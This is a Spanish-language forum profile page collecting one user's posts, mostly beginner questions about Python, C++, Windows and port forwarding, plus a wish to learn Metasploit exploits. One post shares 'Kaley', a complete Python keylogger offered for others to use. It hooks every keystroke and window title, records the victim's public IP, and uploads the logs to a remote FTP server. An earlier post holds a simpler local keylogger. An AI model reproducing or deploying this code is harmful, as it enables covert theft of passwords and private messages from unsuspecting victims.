Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Fyrox

#1
Hacking / Uno más iniciándome
24 Agosto 2012, 06:45 AM
Saludos, tras estar aprendiendo algo de C y Python me he decidido a adentrarme en este mundo. He visto que hay varios post de gente como yo, pero he de decir que ya he buscado y leido bastantes cosas.

Realmente lo que quiero hacer es aprender a usar exploits, ya que me he estado mirando los videos de securitytube de Metasploit y parece bastante interesante.

El problema es que no tengo mucha idea de como empezar. He leido por el foro que hay un escaner de vulnerabilidades llamado Nessus y con el Metasploit pues las aprovechas. En los videos de securitytube te enseñan bastante bien, pero ponen ejemplo sabiendo ya la vulnerabilidad que tiene el sistema, además de que usa un Windows XP como víctima, SO que ya hoy casi nadie tiene.

Como ya he dicho, se algo de C y Python (que supongo que me ayudará). Lo que quiero básicamente es aprender a hacer mis cositas, ya que yo soy mucho de teoría pero luego en la práctica no tengo ni idea.

Vemos.
#2
Saludos, sigo aqui intentando aprender un poquillo de C++ y para practicar un poco los ficheros he creado un programa que simplemente pide nombre y contenido del fichero al usuario y lo crea. El programa queda algo así.

Código (cpp) [Seleccionar]

#include <iostream>
#include <fstream>
using namespace std;

int main () {
    char name[30], text[255];

    cout << "Introduzca nombre del fichero (con extension): ";
    cin >> name;
    cout << endl << "Introduca contenido del fichero: ";
    cin >> text;

    ofstream myfile;
    myfile.open (name);
    myfile << text;
    myfile.close();


}


El programa compila bien, y, aparentemente, también se ejecuta bien. El problema es que al pedirte el contenido, nada más pongas un espacio deja de recoger contenido. Es decir, si escribes "Hola que tal." el programa solo escribe "Hola". Supongo que será alguna cosilla que tenga que añadir, pero he buscado y no encuentro la solucion. Gracias de antemano.
#3
Programación C/C++ / Reiniciar bucles C++
21 Julio 2012, 02:05 AM
Buenas a todos, finalmente me he lanzado con C++ después de estar en Python y tras un día aprendiendo cosillas basicas me he dispuesto a "traducir" un programa que tenía hecho en Python para descomponer números en factores primos, y me ha quedado esto:

Código (cpp) [Seleccionar]
#include <iostream>
using namespace std;

int main (void)
{
   int n, i, prime[5] = {2, 3, 5, 7, 11};
   cout << "Numero? ";
   cin >> n;
   while (n != 1)
   {
       for (i=0; i<5; i++)
       {
           if (n%prime[i] == 0)
           {
               n = n / prime[i];
               cout << prime [i] << endl;
           }
       }
   }
   cin.ignore();
   cin.get();

}


El programa funciona a la perfección (bueno, de momento solo tengo puestos 5 primos en el array, pero se cambia fácilmente eso), pero al pedirle que te descomponga ciertos números, como el 20, no muestra los factores ordenados, es decir, en lugar de 2 2 5, muestra 2 5 2. Es cierto que esto no importa en una multiplicación, pero me gusta tener las cosas ordenadas y bonitas xD.

En mi programa de Python esto lo solucionaba añadiendo los factores a una lista en lugar de mostrarlos y luego ordenar e mostrar la lista, pero no encuentro forma de hacer esto en C++, y si la hay sería bastante código que añadir.

Sin embargo, me puse a pensar, y simplemente con algo que me permitiese "reiniciar" el bucle for para que empezara de nuevo a comprobar todos los números funcionaría, pero no sé como hacer esto. Alguna idea? Gracias de antemano.

PD: Soy bastante nuevo en C++ y programando en general, si encontrais cosas que se puedan hacer mejor comentadlo sin problemas, estare agradecido :)
#4
Programación C/C++ / Nuevo en C++
18 Julio 2012, 01:20 AM
Saludos, después de estar aprendiendo un poco de Python por mi cuenta (gracias al magnífico manual de mundogeek) me he decidido a empezar con C++.

Sin embargo, no encuentro realmente ningún libro/tutorial que me guste demasiado para aprender. Busco algo como el de python de mundogeek, que te explique lo básico, sin enrollarse demasiado, y que esté bastante claro. Esto último lo digo porque ya me he encontrado con el tema del cout y el printf, y supongo que también cambiarán otras muchás cosas conforme vaya avanzando.

En definitiva lo que busco es algún libro o pdf que te explique lo básico de C++, para poder ir haciendo mis cosillas. Un saludo.
#5
Scripting / Como seguir en Python
25 Septiembre 2011, 23:19 PM
Saludos, llevo ya algún tiempo programando en Python (cosa de un mes o así) y ya estoy acabando la guía de Raúl González Duque, muy buena por cierto. Mi pregunta es la siguiente: ¿cómo puedo seguir aprendiendo ahora? Es el primer lenguaje de programación que aprendo, y la verdad no sé que hacer ahora. ¿debería comprarme un libro? ¿alguno en especial? No me importa mucho el idioma, aunque si es en español, mejor que mejor. Gracias de antemano.

Fyrox
#6
Scripting / [Python] Kaley, Keylogger simple en Python
21 Septiembre 2011, 23:24 PM
Saludos, después de un tiempecillo programando en Python, al fin me he decidido a crear un Keylogger. Como no llevo mucho tiempo programando, lo subo aquí para que aportéis ideas/mejores formas de codear determinadas cosas en Python, además de para que lo uséis si queréis.
Código (python) [Seleccionar]
# coding= utf-8
import pythoncom, pyHook, ftplib, urllib, datetime, time, thread, os

class Kaley:
   def __init__(self):
       self.current_window = None
       self.namefile = str(self.getIP()) + " - " + str(self.getDate()) + ".txt"
       self.f = ftplib.FTP("server")
       self.f.login("user", "pass")
       self.f.cwd("/html/kaley")
       self.run = False
       
   def getIP(self):
       url = urllib.URLopener()
       resp = url.open("http://automation.whatismyip.com/n09230945.asp")
       html = resp.read(114)
       return html

   def getDate(self):
       now = datetime.datetime.now()
       return now.strftime("%Y-%m-%d")
       
   def write(self, text):
       file = open(self.namefile, "a")
       file.write(text)
       file.close()
       if self.run == False:
           thread.start_new_thread(self.upload, ())
       
   def upload(self):
       self.run = True
       time.sleep(5)
       self.f.storbinary("STOR " + self.namefile, open(self.namefile, "rb"))
       self.run = False
                               
   def stroke(self, event):
       if event.WindowName != self.current_window:
           self.write("\n" + event.WindowName + "\n")
           self.current_window = event.WindowName
       if event.Ascii == 32 or event.Ascii == 9:
            self.write(" ")
       elif event.Ascii == 241 or event.Ascii == 209:
           self.write("Ñ")
       elif event.Ascii == 13:
           self.write("\n")
       else:
           self.write(event.Key)
       
log = Kaley()
ph = pyHook.HookManager()
ph.KeyDown = log.stroke
ph.HookKeyboard()
pythoncom.PumpMessages()


Como podéis ver, os hacen falta las librerias pyHook para ejecutarlos.

Fyrox
#7
Scripting / [Python] print solo si cambia la variable
18 Septiembre 2011, 01:12 AM
Buenas de nuevo, esta vez mas que un error traigo una duda sobre un programilla que estoy intentando hacer. Veréis. me he lanzado a hacer un pequeño keylogger local muy muy básico (de momento, ya lo ampliare) con el modulo pyHook. Aquí esta:

Código (python) [Seleccionar]
import pythoncom, pyHook

def strokes(event):
   print event.WindowName
   print event.Key

hm = pyHook.HookManager()
hm.KeyDown = strokes
hm.HookKeyboard()
pythoncom.PumpMessages()


Bien, este pequeño keylogger hace que cada vez que se pulse una tecla imprima en el programa el nombre de la ventana y la tecla. Esto queda bastante mal a la hora de leer lo que se ha escrito, ya que se escribiria el nombre de la ventana por cada tecla que se pulsase. Para solucionarlo, lo que quiero hacer es que imprima el nombre de la ventana, la tecla pulsada, y luego solamente imprima de nuevo el nombre de la ventana si esta cambia, no se si me explico.

Por ejemplo: escribes "facebook" en google, por lo que el nombre de la ventana seria "Google". A partir de ahi, quiero que solamente vuelva a escribir el nombre de la ventana si deja de ser "Google" para ser "Facebook" por ejemplo. Gracias de antemano.
#8
Scripting / Error en Python
31 Agosto 2011, 17:11 PM
Saludos de nuevo, despues de un tiempo aprendiendo en Python, me he decidido a crear un pequeño chat, sin embargo obtengo un error al ejecutar el servidor.

Éste es el código:
Código (python) [Seleccionar]
#! /usr/bin/python
#coding=utf-8
import socket, sys
from threading import Thread

clientlist = []

class Client(Thread):
def __init__(self, clients):
Thread.__init__(self)
self.s = clients
self.nick = ""

def conectar(self):
self.s.send("Nick: ")
nick = self.s.recv(1024)
self.nick = nick.strip()
clientlist.append(self.s)

def mensaje(self, buff):
for index, clients in enumerate(clientlist):
if self.s != clients:
print (self.s == clients)
msg = clients.send("%s dice: %s"%(self.nick,buff)

        def run(self):
self.conectar()
while True:
buff = self.s.recv(2048)
self.mensaje(buff)

servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
servers.bind(('',9000))
servers.listen(5)

while True:
(clients, addr) = servers.accept()
ct = Client(clients)
ct.start()


Y este el error:

Código (bash) [Seleccionar]
File "server.py", line 26
    def run(self):
      ^
SyntaxError: invalid syntax


Por más que miro no encuentro el fallo. Alguien me echa un cable? Gracias.

P.D.: como diablos se ponen spoilers aqui? xD
#9
Scripting / Dudas en Python
23 Agosto 2011, 21:22 PM
Saludos, he decidido empezar a aprender Python como mi primer lenguaje de programación, y tras leerme unos capítulos de la guía de Raul González Duque (muy buena por cierto) he decidido lanzarme e intentar hacer algo "útil": una calculadora.

Bien, aquí está:
Código (python) [Seleccionar]
#! /usr/bin/python
# Funcion
def calculator(p1, p2, p3):
if p1 == "1":
print "El resultado es " + str(int(p2) + int(p3)) + "."
elif p1 == "2":
print "El resultado es " + str(int(p2) - int(p3)) + "."
elif p1 == "3":
print "El resultado es " + str(int(p2) * int(p3)) + "."
elif p1 == "4":
print "El cociente es " + str(int(p2) / int(p3)) + " y el resto " + str(int(p2) % int(p3)) + "."
# Menu
print "1) Suma \n2) Resta \n3) Producto \n4) Division \n5) Ayuda"
# Variables
opcion = raw_input("Introduzca su opcion: ")
if opcion == "5":
print "Para utilizar la calculadora, debe escribir el numero de la opcion elegida en el campo 'Introduzca su opcion'. A continuacion, introduzca los dos operandos en sus respectivos campos."
op1 = raw_input("Primer operando: ")
op2 = raw_input("Segundo operando: ")
# Ejecucion
calculator(opcion, op1, op2)


Ahora bien, tengo los siguientes problemas:
1) Si introduces la opción 5 te muestra correctamente la ayuda, pero salta a introducir los operandos, por lo que al final la función no hará ninguna operación.
2) Me gustaría que si introduces una opción que no esté en la lista no continúe y vuelva al campo de elegir opción.

Sé que estas cosas se consiguen con un bucle, y de hecho lo he intentado:
Código (python) [Seleccionar]
#! /usr/bin/python
# Funcion
def calculator(p1, p2, p3):
if p1 == "1":
print "El resultado es " + str(int(p2) + int(p3)) + "."
elif p1 == "2":
print "El resultado es " + str(int(p2) - int(p3)) + "."
elif p1 == "3":
print "El resultado es " + str(int(p2) * int(p3)) + "."
elif p1 == "4":
print "El cociente es " + str(int(p2) / int(p3)) + " y el resto " + str(int(p2) % int(p3)) + "."
# Menu
print "1) Suma \n2) Resta \n3) Producto \n4) Division \n5) Ayuda"
# Variables
while True:
opcion = raw_input("Introduzca su opcion: ")
if opcion == "5":
print "Para utilizar la calculadora, debe escribir el numero de la opcion elegida en el campo 'Introduzca su opcion'. A continuacion, introduzca los dos operandos en sus respectivos campos."
if opcion == "1" or "2" or "3" or "4":
break
else:
print "La opcion introducida no es valida"
op1 = raw_input("Primer operando: ")
op2 = raw_input("Segundo operando: ")
# Ejecucion
calculator(opcion, op1, op2)


Es evidente que no sé crear un bucle correctamente, ya que escriba lo que escriba salta a pedir los operandos. ¿Algún entendido me puede echar un cable? Gracias de antemano ;D.
#10
Saludos, quiero inciarme en esto de la programacion, y al final he decidio empezar por C/C++. He estado mirando los libros que han posteado en el foro, pero no cual elegir. Quiero alguno que sea, a ser posible, liviano y claro. ¿Cual me recomiendan? Gacias por adelantado,
#11
Windows / Error en windows 7
2 Julio 2010, 14:14 PM
Hola, tengo instalado windows 7 y frecuentemente me salta una ventana diciendo que el Servicio de perfil de usuarios dejo de funcionar. Googlee un poco y encontre una "solucion", el problema es que era de windows vista y no conseguia aplicarla al 7, aunque son muy parecidos los S.O. ¿Teneis alguna otra solucion? Gracias
#12
Redes / Problema al abrir puertos
1 Julio 2010, 10:42 AM
Buenas, he intentado abrir una serie de puertos en mi router Xavi 7968 de telefonica, pero al pasarle dos scanners de puertos (Upseros e Internautas) no me los detecta como abiertos. ¿Que puedo hacer?

Gracias de antemano :)

P.D.: También los tengo abiertos en el firewall de windows 7

#13
Saludos forer@s. Dado a que Linux es libre y existen muchas distribuciones con distintas caracteristicas cada una, me gustaria saber cual es la que mas os gusta de esta lista y el porque a ser posible:

-Ubuntu
-Mandriva Linux
-OpenSuse
-Fedora
-Debian
-Slackware
-Gentoo
-Otra (especificar cual)